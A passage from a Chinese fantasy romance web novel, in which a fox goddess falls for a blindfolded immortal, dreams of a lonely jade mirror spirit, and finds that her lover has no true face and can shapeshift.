回光或许有他自己的办法,但毫无疑问,他学习的能力一定远超常人。 这时,回光再度凑近她的耳畔,贴着银梨的耳畔,缱绻道:“只要是能让你高兴的事,我都可以去学。” 没等银梨回过神,细密的吻已再次落下,像柔和的雨滴。 气息变得沉重。 不知过了多久,回光的喉结滚动,银梨听到他轻轻地嘟囔:“好想……读你的感觉。” “……读什么?” 银梨不太明白。 回光道:“好想知道你的想法,想知道你的感觉,想知道你舒不舒服,想知道……你是不是和我一样高兴。” ……他要知道这些干什么? 从回光的动作中,银梨明显感到了讨好的意味,他是真的在使劲想要让她觉得高兴。 银梨的脑子已经晕乎乎了,尽管不知道回光想要做什么,但她好像知道如何解决他的问题。 银梨抬起手,勾着回光的脖子将他重新拉近自己。 “不用那么麻烦,你想知道的事,我可以告诉你。” 银梨蹭着他的额头。 “我很开心,我现在和你一样高兴。” 说着,她回答似的,亲了亲对方的眉心。 银梨得到的回应,是更密集的吻。 狭窄的车厢里,两人拥挤地吻在一起,不知天地。 这天晚上,银梨听到回光在她耳边说了好多话。 她确信里面有好多情不自禁吐露的、“喜欢”“爱”之类的字眼。 但即使不用言辞,银梨也能感到浓烈的爱意几乎要把她吞没,细碎的情话全都融化在了浓烈的亲吻里。 银梨早已被吻得没有半点力气。 但她好开心。 很难形容这种满足感。 就像久旱的鱼儿游回了水里,黑暗里的幼芽破土见到了光明。 她有一种灵魂被填满的充实,魂魄中缺失已久的拼图终于找到了最后的碎片。 从未如此幸福。 从未如此甜蜜。 从未这么想和一个人融为一体。 这一刻,银梨终于感受到了,那本以为虚无缥缈的,命中注定。 * 不知是不是因为和回光亲了太久,这一夜,银梨又做了梦。 在梦中,她又成了那块玉镜。 她独自困在湖底已经不知过了多少春秋,漫长的黑暗模糊了对时间的感知。 一百年……两百年,还是数百年? 湖底的修行迟缓,孤寂,时光像是无边无际。 玉镜的情感本就淡漠,沉默在冰冷湖底的日子里,与世隔绝的状态进一步磨平了她的感知。 她变得钝钝的,好像没有什么值得欣喜,更没有什么值得伤悲。 她像一块真正的石头,不会有人在意,自己也不知道该去在意什么。 岁月久长,银梨只是不断映照着湖水,慢慢地,她的灵识范围扩大到 湖面,湖水成了她的眼睛。 又是百年。 终于有一天,她在湖面上,看到了一个带着狐耳和九条狐尾的小女孩的身影。 那女孩像是被什么吸引到这片梨花林中的。 她趴在湖边,睁着懵懂的眼睛,好奇地往湖底探寻。 忽然,银梨在玉镜体内,感到自己的内心又有了波动。 尽管已经有数百年不曾相见,但在重新见到她的第一眼,玉镜就能确信,这个年幼的女孩,就是曾经摆在太阴星台案上的那枚玉石狐狸,是它缺失已久的另一半魂灵。 而作为银梨自己,银梨也认了出来—— 那个拖着狐狸尾巴的女孩,应当就是许多年前、刚刚化出形体的、年幼时的她自己。 那之后,狐耳女孩常常来到湖边嬉戏。 她好像喜欢上了这里。 不过,她不是一个人来的。 在她身边,总有一个年纪相仿的男孩,女孩将他称作“兄长”,两人形影不离、亲密无间。 女孩总是拉着他的手,总是亲昵地喊他,女孩在看着“兄长”的时候,笑得最开心。 ……好羡慕。 银梨辨识着玉镜内心深处的感情。 重逢时浓重的喜悦,还有不被看见的浓重的哀伤,浓烈的情感全都纠缠混杂在一起。 银梨感知到了玉镜的情绪。 它好想碰碰她。 可是湖底无法沐浴月光,它的修行远比正常缓慢,用灵识观察周围已是全力,它还没有可以活动的形体。 银梨感觉到,玉镜将自己的灵识飘到岸上,然后,它试图将自己的灵识,与女孩的“兄长”交叠在一起。 “哥哥!” 狐尾女孩说话的时候,笑颜弯弯,她望过来的时候,就像凝视着玉镜的眼睛。 银梨现在正是玉镜。 她听到玉镜,在在灵识中回答道:“好。” * 几年后的夏季。 狐尾女孩在月东林里散步时,被吃进了一个迷途鬼阵里。 作为玉镜,银梨感觉到自己的灵识已经很大,遍布整个月东林。 或许是由于镜子的本体,玉镜并没有一个可以被看见、移动的形态,但是,它灵识的活动范围很大,可以将许多东西映照进自己的记忆里。 玉镜眼看着女孩被吞掉。 银梨感觉到“自己”的内心非常急切,四处寻找救她的办法。 然而玉镜没有形体,它的灵识可以自由出入迷途鬼阵和外界,却没有办法将女孩带出来,就连与她说话、安慰她这样简单的事情,都做不到。 必须依靠其他人的力量。 银梨跟随着玉镜的意识在月东林中穿梭。 终于,玉镜找到了一个合适的人选。 那是一个独自练剑、沉默寡言的少年剑修。 玉镜映照了他的意识,将女孩在迷途鬼阵中呜咽的声音放入他的脑海中,诱导剑修向迷途鬼阵的薄弱之处走去。 以一个凡人剑修的力量未必能劈开迷途鬼阵,玉镜将自己的神力也放到了他身上,助他破开鬼阵—— 正是在那一天,玉镜发现,自己使用得当,它的能力,足以影响、操纵他人的想法。 这份力量将女孩救了出来,它好高兴。 只是,当玉镜回过头时,便见劈开鬼阵的少年剑修,将摔倒在地的女孩扶了起来。 他们好奇地打量着彼此。 少年从未见过神女。 而对女孩来说,眼前的,便是她的救命恩人。 之后的很长一段时间,女孩没有再来过梨花林。 第49章 玉镜不知道女孩去了何处, 它只知道,女孩的世界比他更大,她去了它无法知晓的地方。 短暂的光明消失了, 视野再度沉入一成不变的黑暗。 玉镜又一次在湖底里, 开启了不知终点的等候。 春去秋来, 日升日落。 岸上的梨花林花开一年又一年,在数到第十次无人观赏的落花的时候,那个女孩回来了。 她看上去,已经是个正儿八经的少女。 女孩不知是在外面经历了什么, 回来的时候, 她比过去沉稳了不少。 她表面上还是和以前一样, 活蹦乱跳,悠闲自在,经常拖着尾巴在林子里跳来跳去, 是只快乐的小狐狸。 但是,在更深处的地方, 她变得懂事了。 她开始思考人世间政治与社会结构的复杂问题, 开始听得懂其他人的弦外之音,人际关系变得圆润,也不再一味地只想玩乐,而是会主动修炼和学习。 玉镜能够想象得到, 如果是现在的她再被关进迷途鬼阵, 大概不会再无助地抱着尾巴哭泣了。 这样的变化, 让玉镜既是惊讶, 又是好奇。 它开始尝试更长久地留在女孩身边。 它的灵识没法凝成实体,但玉镜发现,它可以映照一些东西的样子, 将自己的灵气凝成它们的模样。 它起先想凝成鹿或者狐狸,可这样跟不了太远,只要出了月东林就会散去。 于是,它尝试变得更小一点。 它化为一只蜻蜓或者蝴蝶,偶尔就能跟随她走得更远,去往未知之地。 女孩似乎有了烦恼。 从她与兄长的对话中,玉镜推断出,他们很快不得不到很远的地方去了。 玉镜想尽办法,最后将自己化成一片薄薄的、几乎看不见的云雾,藏在他们的影子里,跟着他们去了一个名为“天水境”的地方。 女孩的兄长很快融入了新环境,但女孩好像没有那么顺利。 玉镜很想让她高兴。 它记起女孩在梨花林的时候,很喜欢追逐一些速度快的东西。 于是它使劲将自己凝聚成了一个能被肉眼看见的形状,蹿到女孩面前,想逗她开心。 女孩最近总是小狐狸的样子,反应机敏,果然一下就竖起耳朵,追了上来! 两人在回廊花园间追逐。 这里离玉镜的本体太远,如此为之,对它的消耗极大,几乎维持的每一瞬息,都像是力竭一般痛苦。 但玉镜觉得好高兴。 这是他们第一次一起玩。 难以想象世上还有这样的幸福。 最关键是,女孩看上去精神多了,这才应该是她本来的样子—— 忘却那些烦扰的事情,只成为她自己。 奔跑到后山的时候,在幽静的水潭边上,立着一个瘦长的人影。 玉镜有些慌乱,潜意识觉得其他人不应看见自己,慌乱之中藏到了水里。 女孩也在水潭边停了下来。 她好像对那个男子有些顾忌,小心地与他说话。 岸上,那个男子貌似不经意地低头,琉璃般的金眸穿破水波,疑似看向了水底。 他与玉镜的灵识对上了视线。 ……但后面的事情,玉镜不知道了。 方才的追逐与凝聚,消耗了它所有的气力,它已经无法维持,必须消散了。 所有的灵识回归了湖底。 五光十色的视野消失了,漫长的等待,再度来临。 ………… …… 之后有一年,凡间震荡,外界好像发生了很多事。 那个女孩,已经很久很久没有来过了。 她到哪里去了?还好吗? 玉镜四处寻觅着她的身影。 天上的月亮不知道为什么消失了,遍布天地的灵气快速消散,被某种幽冷、阴暗的浊气所取代。 月东林的植被尽数枯萎,来不及迁徙的动物曝尸荒野,所有凡人都陷入了某种深刻的绝望,哭喊声不绝于耳。 玉镜担心女孩的状况,想要去找她。 然而,绵密幽暗的浊气,成了巨大的阻碍。 浊气会影响他灵识的范围,干扰他的视野 ,而且长期处在其中,玉镜会变得很虚弱。 于是,它尝试映照了浊气,变成其中的一部分。 效果意外得不错。 玉镜很快发现,它其实像吸纳灵气那样,吸纳这些浊气。 玉镜是尚未修成的玉灵,灵气可以浸润它的魂灵,现在空气中的浊气也同样可以。 甚至,这些气息可以让它修炼得更快。 而且,它们比月光更容易获取,吐纳的门槛也更低。 唯一的问题,是这种浊气吸收起来,会让它痛苦,似乎会腐蚀魂灵的某个部分,体内烧灼似的刺痛。 但玉镜不介意。 那个女孩不知道去了何处,她可能并不安全……必须尽快去找她,将她留在安全的地方。 玉镜开始拼命吞噬空气中的浊气。 很快,玉镜觉察到自己的身体发生了某种变化,它越来越能融入暗夜,越来越适应浊气,不再被其阻挡。 好在,它在湖底,早已习惯了冰冷而幽长的黑暗,如今的变化,不过是扩大了它熟悉的范围。 那女孩始终不见踪影。 看来想要见她,还要吃掉更多的浊气,让自己变得更强大。 玉镜不断寻找,遇到在月东林中求救的凡灵,也一并将他们收入自己的镜像之中。 玉镜贪婪地吸纳、吞吐着。 仙神凡灵都避之不及的灾厄,却成了他力量快速滋长的契机。 沉在湖底,月光难以获取,可如今,这股漫溢天地间的邪气,四处都是,取之无禁,用之不竭。 玉镜以前所未有的速度成长,修为以惊人的进度膨胀。 而银梨在与它共感的过程之中,只觉得自己的双目亦被浊色浸染,慢慢融入黑暗之中,被永夜所吞噬…… ………… …… 晨曦柔和的光晕穿透了梨树坠满花团的树冠。 银梨眉间一颦,有些迟缓地醒过来,才发现自己整夜靠在某人的肩膀上,两人依偎在一起,在梨花树下睡着了。 记忆慢慢回到脑海之中。 昨晚事出突然,她与回光都有些忘情了。 他们在马车里吻了一路,又从马车里吻到院中。 在这种过热的氛围里,银梨是绝不敢再把回光带回卧室的,但是,他们彼此又都不舍分离。 结果他们就在院子里,亲吻,聊天,亲吻,互诉衷肠,亲吻…… 银梨已经不记得回光说了多少次“喜欢”,又问了她多少次“你真的愿意和我一起吗”。 银梨也有些上了头,一遍又一遍回答他“愿意”、“我也喜欢你”,有时候,她也直接用吻来作回应,让回光相信她的真心。 说不清为何那么沉浸,但银梨发现自己好喜欢他不时显露的笨拙,喜欢他因为自己的一言一行反复思虑,还喜欢他被自己亲近时无措的反应。 银梨轻轻撑起身体,用手指悄悄描摹眼前之人的下颔。 说起来,他睡醒了没有呢? 白绫一直这样盖着半张脸,都看不见他的眼睛。 银梨靠近回光仙君,想检查一下他的呼吸,谁知下一刻,银梨忽然被牵住手腕,重新拉回怀里。 回光将脸埋在银梨的颈窝里,微凉的气息喷在她的颈侧。 “你还在。” 回光轻轻地道。 不知怎么的,银梨从这句话里,听出一丝脆弱和挽留的意味。 回光安静地贴着她,像粘人的小动物一样,呼吸她身上的气味。 银梨道:“你醒啦?” 她说:“我们昨天不是一起睡在这里的吗?你不记得了?” 回光听到她的声音,微微一顿,“嗯”了一声,搂着银梨腰的手收得愈紧,严丝合缝地贴到她身上。 这样的举动明显带着撒娇的意味,银梨被他贴得痒痒的,还有点不好意思。 回光说:“……好高兴。” 浓重的眷恋,还有不可置信的喜悦。 回光的情绪中夹杂着与寻常不同的厚度,还不等银梨全然明白过来,她便感到回光吻上了她的肩膀。 然后是喉咙、下巴……蔓延着皮肤,最后再一次落在唇上。 他在重温昨晚的吻,仍意犹未尽。 昨夜的记忆复苏,银梨面颊爬上红晕。 她觉得难为情,可是回光这样黏过来,她的心跳便随之跳快了,没有办法拒绝。 作为回应,银梨抱住回光的肩膀,轻轻回吻他的脸。 回光立即感受到了她的动作。 毫不犹豫地,他扣住银梨的手,十指交握,反身欺上。 温暖的春阳里,从清晨就开始升温,白日缠绵。 * 银梨觉得自己最近有点幼稚。 和另外一个人互通心意,或许不完全是好事。 她变得很想撒娇,很想和某个人黏在一起,总想把对方的注意力引到自己身上。 明明是起先她让回光弹琴给她听,可回光顺从地弹了,她又故意要变成狐狸,挤到回光和古琴之间,用爪子把他的弦音踩得乱糟糟的,还非要用脑袋顶他,直到他把手放到自己头上。 明明她知道回光看不见,银梨却还是忍不住缠着回光,说要看他画画。等回光真的如她所愿铺好笔墨纸砚,银梨又克制不住要从背后抱着他的腰,骚扰他,看他为难的样子。 两人有时会一起修炼。 这本是银梨提出来的主意,因为两个人的灵气都很空虚,需要慢慢恢复。 但银梨和回光在一起的时候,却反而没有办法专心。 她总忍不住要干点坏事。 银梨要悄悄变成狐狸,用爪子扒拉他,打断他的动作,还动不动就要干些没什么意义、就是想让他伤脑筋的事。 有时候是偷一个他桌上的点心,有时候是把他的剑藏在肚皮和尾巴下面让他找不到,还有些时候,银梨会偷偷啃他一口,吃掉一点他修炼出来的灵气,顺便在他手臂上留下一个小小的牙印。 有时候,银梨自己都会觉得自己很任性。 不过,归根结底,她这样的行径有增无减,是因为有人在不断纵容她的恶行。 回光好像很喜欢银梨向他提要求,还喜欢银梨在他面前的耍脾气。 无论是何等无礼的要求,只要银梨说出口,回光都会含笑点头。 银梨不由望着他的脸发怔。 其实很多次,她都只是随便说说罢了,没想到回光想也不想都一口答应。 连银梨自己都很难想象,世上会有人纵容她到这个地步。 第50章 到下一次满月的时候, 银梨又拉着回光去了灯会。 这次他们去了一个更繁荣的镇子,灯会也比上一次更为隆重。 万千繁灯挂满大街小巷,琳琅集市目不暇接, 长街上的人流摩肩接踵, 相比较于梨花林中的幽静, 这里的喧闹像是久违地回到了人间。 银梨提前订了一条小舫,高高兴兴地引了回光去了船上。 回光连食物都没吃过,银梨总觉得他经历得很少,总想带回光去感受更多新鲜事物。 银梨想让回光感受坐船的感觉, 两人可以在船上放花灯, 她还特意点了船菜和船点, 可以到湖中品味。 银梨想给回光仙君一个惊喜,没有提前告诉他,只拉着他的手, 上了船。 回光仙君淡然依旧,他在银梨面前很乖巧, 银梨想将他牵到哪里, 他就去哪里。 华灯初上,灯会正要到最热闹的时候。 无数花灯随着水流飘荡在他们的小船周围,岸上的人群已经看着有些远了,市集的热闹像隔着云雾般缥缈。 银梨兴致勃勃的。 她拉着他一起在船头放了河灯, 然后又与他一起品鉴船菜和点心。 船菜是新鲜精致的河鲜, 有醉虾和焖鱼, 鲜美可口;船 点更是精美可人, 皆是漂亮的江南点心,糯米面团包裹着豆沙,做成了兔子、寿桃、刺猬的形状, 栩栩如生。 繁星灯海倒映在湖水之中,分不清天上人间。 银梨很久没有这么放松、这么兴高采烈的时候了。 她怕回光感受不到灯会的氛围,拉着他的手,让他触碰清澈的水流和河灯,给他描述自己看到光景,还将自己吃到好吃的菜品点心,都喂到回光嘴里。 相比较于银梨的兴致盎然,回光则一直淡淡的。 他像一涓温暖的春水,当银梨看向他的时候,他脸上总是带着柔情的微笑。 银梨对他说话,他就转过头来静静地听; 银梨往他嘴里放东西,他就听话地吃下去,并称赞好吃; 银梨笑了,他就低下头,嘴角上扬,好似与她一样开心。 这么久以来,回光其实大多数时候都是这样的性子。 银梨高兴的时候,他好像也会一起高兴,但对别的事物,都没有特别大的反应。 他对银梨很纵容,可这份纵容,却让银梨看不清回光的喜好,担心他一直在迁就自己。 见自己招数用尽,回光却始终是温润的平静,银梨不自觉地塌下了耳朵。 银梨问:“回光,你该不会……其实不喜欢游船吧?” “嗯?” 回光本来正吃着银梨一直说好吃的点心,听到她问了这么一句,有些疑惑地抬起头来。 他好像听出银梨有些忧虑,道:“为什么问这个?” 银梨道:“感觉你对船没有表现出什么兴趣。” 回光想了想,回答:“还好。” “那你难道是……不喜欢水?” 回光微笑道:“没有。” “那是……菜色和茶点不合口味?” 这次,回光没有回答,取之以代的,是捉住银梨的手,安抚似的摸了摸她的头。 回光问:“怎么了?你好像忽然有点低落。” 回光对银梨的情绪体察甚微,银梨索性直率地坦白:“我带你做的事,总觉得你反应都差不多。我怕你其实不喜欢这些,只是不想扫我的兴,才勉强自己一直陪我玩。” 回光微微错愕,随即回答道:“没有这种事。” 银梨问:“那……你有什么想做的事情吗?” 银梨轻轻地摆了下尾巴。 她说:“不该总是让你陪着我玩,你若有什么想让我陪你做的事,我肯定也答应你。” 回光沉吟。 他道:“我谈不上有什么喜好。其实吃什么和做什么,对我来说都差不多。比起这些……” 他轻轻碰了碰银梨的脸,声音比平常更温柔:“比起这些,我更希望你能高兴。只要你喜欢,我就喜欢。” “……?” 见银梨不太相信,回光拉住了她的手,按在了自己胸口。 回光道:“你不用担心我有什么不满意。你可能不明白……今时今日,你愿意和我在一起的每一刻,对我而言,都是过去不可奢望的幸运。” 回光的体温比常人要低,银梨触碰他,总是觉得很凉。 不过,银梨可以在他胸口感受到心跳的动静。 咚咚,咚咚。 和回光安静的外表不同,他的胸膛里像在击鼓,心脏跳得有力而热烈。 银梨忽然有些无措。 小舫已离岸很远,岸上的人都成了看不清的剪影,想来岸上之人看船上亦是同样。 宽阔的湖面,这条小舫上,只有他们两个人。 有夜色的遮掩,不会有人注意到这里。 回光将银梨拥入怀中,让她坐在自己的膝盖上,随即用鼻尖贴上她的面颊,轻声问:“你是真的愿意陪我吗?” 银梨耳尖染上些许热意。 她点了点头。 回光说:“……那便再离我更近一些吧。” 回光的发丝落到了她的脖子上,银梨被他蹭得发痒。 她眯起眼,也往他身上蹭了回去。 ……不必多言,其实不止回光纵容她,她也愿意纵容回光的亲近。 两个人互相蹭来蹭去,说不清气息是何时融在一起的,等银梨回过神来,她已拥着回光的脖子,与他吻在一处。 ………… …… 明月清冽。 两人在小舫上玩到午夜,等灯会结束,两人将小舫划回岸边,再坐上马车回梨花林时,已是后半夜。 船上的菜品里有醉虾,不知是吃进了一些酒意,还是玩了一晚上有些累了,银梨一上马车就想睡觉。 她往回光怀里一钻,再把九条大尾巴往身上一裹,就蜷在马车里睡了。 回光含着笑,有节奏地缓慢拍着她的背。 ……不知睡了多久,马车经过石路时轻轻震了一下,将银梨震醒了过来。 她望窗外看了一眼,发现圆月已然偏西。 大抵是后半夜了,周围已经开始出现梨花树,但离白衣仙君的宅邸,还有一段距离。 银梨动了动,坐起来。 白衣仙君的手随之一动,从她肩上滑了下去。 银梨这才意识到,这位仙君竟是也在路上睡着了,只是他一直用白绫遮面,所以很难看得出状态。 银梨不免有些稀奇。 印象中,她很少见到回光睡觉的样子。 两人在一起的时候,她经常会变成狐狸钻到回光怀里睡觉,但相反的情况,还从未有过。 回光好像总是醒着。 回光常给银梨一种不食人间烟火的感觉—— 他不太需要吃东西,也不知有没有睡过觉。 若是银梨不提,他好像从不主动进行这些行为。 虽说仙神不吃不喝通常也没什么要紧,但身为活物,通常不会完全没有这类习惯。 有时候,银梨会觉得回光像一个静静的鬼魂。 回光好像总是幽然地守在她附近,看不清他的心境和目的。 ……原来他真的会睡觉。 银梨稀奇地撑在他身边看了一会儿,紧随着,她的视线转到回光面上覆盖着的白绫上。 这段时光,银梨和回光相处得很好,他们很甜蜜。 回光对银梨的爱护无微不至,银梨像被泡在蜜罐里一样,难以想象世上还有这样幸福的时光。 她对回光没有半点不满。 唯有一件事,银梨始终不明白。 回光一直不愿意给她看白绫下的样子。 他们生活在一起这么久,银梨从未见过回光摘下白绫。 这其实是很异常的一种状况,脸上戴着这样厚的白绫,不太可能很舒服,总该会想取下透透气的。 回光既然从不摘下,只能是刻意为之,不希望她看到。 银梨对回光的相貌,并不是没有好奇的。 事实上,她问过一次。 但回光思考了一会儿以后,反而很认真地问她:“那,你希望我长成什么样子?” “……?” 银梨当时觉得这个问法好生奇怪,就像回光的长相不取决于他自己,反倒取决于银梨的想法似的。 银梨不知道该怎么回答,当时便暂且带过了。 说实在的,银梨很笃定,无论回光长成什么样,她都不会介意他的长相。 银梨当然很喜欢回光目前展示出来的外表气质,轻容雪影,飘然出尘。 但比起这些,银梨更能感受到他们之间有更多的东西,要胜过外表上的吸引。 回光只是陪伴在她身边,银梨都能感到一种难以言喻的满足,浑然天成的契合,像补全了自己的呼吸。 回光既然一直用白绫遮着眼睛,应该要么是畏光,要么是眼睛外观有什么问题,不想让人看见吧? 银梨有些胡思乱想。 就在这时,车轮大概是压到了石头,小幅度地颠了一下。 回光脸上的白绫,许是缠绕的部分松了,一晃,往下滑了一些。 银梨一愣,伸手想要帮他把白绫重新遮好,谁知白绫松垮得太厉害,银梨一碰,反而彻底掉了下来。 猝不及防地,回光仙君露出了脸。 等银梨反应过来的时候,视线已经落在了回光脸上。 借着窗外 渗进的月光,银梨第一次毫无保留地看到了回光的长相。 ——然后,她僵住了。 银梨想象过很多回光相貌的可能性,但绝没有想到过这一种—— 回光有完好的颅骨和光洁的皮肤。 可是,除此之外,竟然什么都没有。 回光上半张脸的部分,是一片空白。 本该有眉眼的部分,空荡荡的,只有,干净的面皮—— 作者有话说:某物:哎呀,因为没法读心,不知道最佳方案,脸还没捏好。_(:з」∠)_《 》 50-60 第51章 银梨惊呆了。 她在那里呆滞了好久的时间, 才回过神来,连忙将落下的白绫从地上捡起来,小心翼翼地撑起回光的脑袋, 重新给他绑好。 银梨本来还有些犯困, 经过这一吓, 彻底清醒了。 提回光绑好白绫后,他看上去又是平时那般清风明月、不染尘世的模样。 但是……刚才那是什么? 那是……某种天生的残疾吗?还是……别的什么? 银梨半晌难以平复。 由不得银梨控制,等回过神来,她脑海中已浮现了“怪物”两个字。 银梨失忆以后, 身边发生的怪事不少, 而这位白衣仙君, 一直以来神出鬼没,异于常人。 有时候,银梨甚至会在他的气质里感到一丝阴森的鬼气。只是白衣仙君毕竟是自己的救命恩人, 银梨不觉得他有必要如此大费周章地伤害自己,这才不曾往深处想。 但如今, 那桩桩件件, 与他白绫之下的无眼之脸结合在一起,过往忽视的碎片忽然不由自主地结合了起来,拼凑出一个陌生诡异的答案。 空气中渗着微微的寒意。 银梨赶快摇了摇头。 回光那张没有上半张脸的面皮,看起来是很怪异, 但不知道为什么, 等冷静下来, 银梨并没有很害怕。 他的长相是有些问题, 但两人之间那种互相吸引的感觉,同样并非错觉。 ……或许应该先弄清楚情况,而不是草率下结论。 银梨坐在马车上耐心等待着, 等到了梨花林的最深处,那座幽静的宅邸出现,银梨才推了推白衣仙君的肩膀,将他唤醒。 白衣仙君慢慢地醒过来,他对自己在马车上睡着一事,似乎也很惊讶。 “我睡了很久吗?” 白衣人问。 银梨摇了摇头,说:“我睡着的时候你还醒着,应该没有很久吧。” 回光微怔,似是走神。 银梨想起,她是钻到回光怀里以后睡着的。 自从两人变得亲近以后,她就很喜欢这样做,总觉得这样令人安心。 既然回光也睡着了…… 或许,这并非是她一个人的感觉,对方……其实也是如此吗? 两人走下马车,往院中走去。 若是平常,他们互诉衷肠之后,便会在院前分离。 但今日,银梨纠结之后,轻轻扯住了回光的袖子。 白衣仙君略带诧异地回头。 “怎么了?” 他体贴地问。 银梨的目光锁在他的上半张脸上,半晌,问道:“回光,我可不可以看看你的长相?” 究竟是怎么回事,或许她不该暗自揣测。 若有原因,那么便应该由回光,亲口告诉她。 回光听完她的请求,先是一愣。 他既没有拒绝,也没有一口答应。 他说:“可是,你还没有告诉过我,你希望看到什么样的脸。” 银梨道:“这与我的喜好没有关系吧?我只是想知道你真实的样子。” 说着,大概是怕回光不安,银梨双手握住回光的手掌,有着安抚的意味。 她说:“不要紧的,不要担心,不管你是什么样的长相,我应该都能接受。” 她已经不小心看到回光上半张脸什么都没有的样子了,银梨相信自己已经做好了充足的心理准备。 她需要的,只是一个足够说明一切的解答。 回光停顿片刻,道:“让我想一下。” 他定在那里,有一会儿没有动,看上去是真的在思考。 银梨耐心地等着他。 大约过了一盏茶的功夫,回光回过头来,道:“……我想好了。” 银梨的心跳不由自主地加快了,她忐忑地望过去,等待回光自己揭晓答案。 在银梨的注视下,回光慢慢取下了眼上的白绫。 银盘似的满月之下,月光比平常更为澄净清澈,一泻而下,梨树落花如雪,在月夜之中,有着近乎虔诚的纯净。 借着皎洁的月色,回光露出了他的脸。 那是一张极为俊美的脸,犹如神塑般的艺术品,眉若云痕,眼型狭长,眼尾悠远疏离,淡泊而出尘。 不过最特别的,是他的一双眼珠,极淡的瞳色,琉璃般的质地,透着一层浅浅的落叶金,像一对浸在冰湖中的金珠,含着明月初上的光晕。 回光不自在眨了眨眼,像是连夜间的幽光都难以适应。 他不安地问:“……如何?你……会满意吗?” 这个问法,就像他看不见,所以不清楚自己的相貌,在向银梨询问一般。 银梨呆住了。 梨花树下的白衣男子很是清俊,脱俗高雅,不似世间之人。 但浑沌之间,这双金色的眼眸让银梨有熟悉之感,似故人,又不全像。 唯一可以肯定的是,这一定不是银梨之前看到那张空白的脸。 ……他说的,不是实话。 回光温柔地看向银梨,水玉的眼眸含情脉脉地注视着她,等候她的评价。 但银梨说不出话来。 过了很久,银梨才艰难地道:“……很美。” * 见过回光的长相后不久,银梨发了高烧。 她连着几夜没有睡好,再加上内体本就没有养好,是很虚弱的状态,有一天一睁眼,便发现浑身虚软,人坐不起来了。 第一个发现的,理所当然是回光。 回光清晨来找她一起吃早饭,敲了敲门没回应,觉得不对劲,便推门进来。 银梨的床上看着是空的,回光将被子揭开,才看到角落里蜷着一团体温高得快熟了的、有气无力的白狐狸。 ……银梨从没见过回光这么慌张的样子。 发烧很难受。 但在宅邸中,有一个人好像比她更着急。 回光忙前忙后。 即使意识稀薄,银梨也能感受到,回光用出了所有他能想到的手段。 他将煮好的甜水送到银梨嘴边,银梨没什么胃口,喝不下去。 他去院里摘了各种不知名的灵草,用在银梨身上,起先有效,但没过半个时辰,银梨就又烧了起来。 神女应当是很不容易生病的,在银梨薄弱的记忆认知中,她身上应当没怎么发生过这样的事,以至于出了这样的状况,连银梨自己,都说不清该怎么处理。 半天之后还没有气色,银梨迷迷糊糊醒来,发现一直以来只有她和回光两个人的宅邸里,多了一个陌生人。 银梨虚弱地瞥过去,只见那人着长袍、背着医箱,不认识,但应该是个大夫。 银梨特意去看了一下这人的手腕,空空的,应当是活人。 医者小心地给银梨号了号脉。 “公主应当是思虑过度。” 银梨听到那位大夫如此诊断道。 “公主最近遇到过什么非常耗神的事吗?” “……” 回光看上去颇为无措,像是不知道怎么回答。 大夫翻了翻回光放在桌上的草药,感慨道:“仙君你这里珍贵的草药倒是不少,若是拿出去贩卖,只怕轻易就能富可敌国吧。 “不过,心病还需心药治,纵然有再多珍惜的神药,若不从根上铲除病因,终归不会奏效。” 话完,大夫取来纸笔,边写边说:“我写一张安神、恢复元气的方子,可作辅助之用。不过,归根结底,还是要让公主处在比较安定的环境中,减轻忧虑,让她恢复精神。” 回光一顿,问:“……具体是要怎么做呢?” 大夫道:“这……因人而异吧。通常来说,便是让她心想事成,做想做的事、见想见的人,若是她有什么心结,便将心结解开,心病自然不药而愈了。” 回光闻言,若有所思。 ………… …… 再醒来的时候,银梨发现之前一直守在她身边的回光不见了,取之以代的,是她额上贴上了一只柔软的、女子的手。 银梨被那只手一触,便不由一颤,下意识地抬头望去。 霎那间,如清月入眸。 一袭素衣如天边云霭裁下,她的仙意是高洁中透着一缕轻盈,不像世人想象的上神那样端重,可任谁都可一眼便知,这是真正的神女。 “……姐姐?” 迷蒙中,银梨喃喃道。 即使她的记忆并不分明,但这个人一进入眼帘,银梨还是能马上认出她的身份。 深入骨髓,无法忘却。 姐姐将她拥入怀抱,让银梨靠在她肩上。 “来,银梨,吃点东西。” 姐姐垂着眼,眼底是无尽的担忧。 她用勺子舀了一勺药,喂到银梨嘴边:“你要好好休息,保存体力,才能快点好起来。” 银梨喝了一口药。 清冷、甘甜的口感。 只喝了一口,腹中立即感受到了涌上来的灵气,任何灵药恐怕都难有这种立竿见影的效果。 ……她喝过一次这个东西。 这绝不是药。 银梨一顿,向自己身边的人看去。 是姐姐的面庞,女子的身形,但“她”身上有凉凉的夜息花的香气,而且,姐姐不会用这样的“药”来喂她,姐姐的血也不会有这样的效果。 银梨几乎马上觉察到了身后之人的真实身份。 在这世上,只有一个人,会像这样喂她血。 ……他为什么要这么做呢? 在他看来,这个时候能让银梨感到安心的,比起他自己,更应该是别人吗? 银梨拽了拽“姐姐”的袖子,轻轻唤道:“回光。” 第52章 “——!” 银梨感觉到, 抱着她的人,在顷刻间僵住了。 银梨心中安定,知道自己没有猜错。 忽然陪在她身边的“姐姐”, 果然是回光。 这样看来, 回光应该是可以变化自己的长相吧。 他好像可以变成任何人, 可是直至如今,银梨都不知道,真正的他究竟是什么模样。 银梨拽他的袖子拽得更紧,愈发笃定道:“你是回光吧?” “……” 身后的人还是没有回音。 银梨思索片刻, 虚弱地咳嗽起来。 “咳咳……咳咳咳……” 银梨将她的耳朵塌了下来, 咳得仿佛肺都要出来了, 故作可怜,又说了一次:“我想见回光。” 银梨的演技远算不上高超,但似乎是够用了。 “……” 身后的人果然不会拒绝她的任何请求。 很快, 银梨便听到他回答:“好。” 在银梨的注视下,拥着她的、仙气飘然的神女, 缓缓融化了。 等他再凝聚在一起的时候, 便是银梨熟悉的那个面上覆着白绫、不染纤尘、如月如雪的白衣仙君。 银梨抬手,轻轻拽下他面上的白绫。 回光仍是之前给她见过的那张脸,俊逸出尘的相貌,琉璃般的金眸。 此刻, 这双颜色特殊的眼睛, 溢满哀伤的情绪, 眼睑微垂, 仿佛是在等候离别一般,望着她。 无需多言,一切事实已昭然若揭。 一时间, 两人都没说话。 最后,是回光先开了口。 他说:“对不起。” 寂静。 银梨没动,似在思量。 片刻后,银梨挪了挪。 回光身体绷得很紧。 但银梨是往回光怀里钻了钻,找了个舒服的位置贴好,然后,她拉起回光的手,环在自己腰上。 “——!” 趁回光震惊的间隙,银梨将自己的脸贴在回光胸口,蹭了蹭。 回光的体温很低,平时靠近有点冷,但在银梨发烧的时候,像这样贴着,就觉得他冰冰凉凉的,温度适中,好舒服。 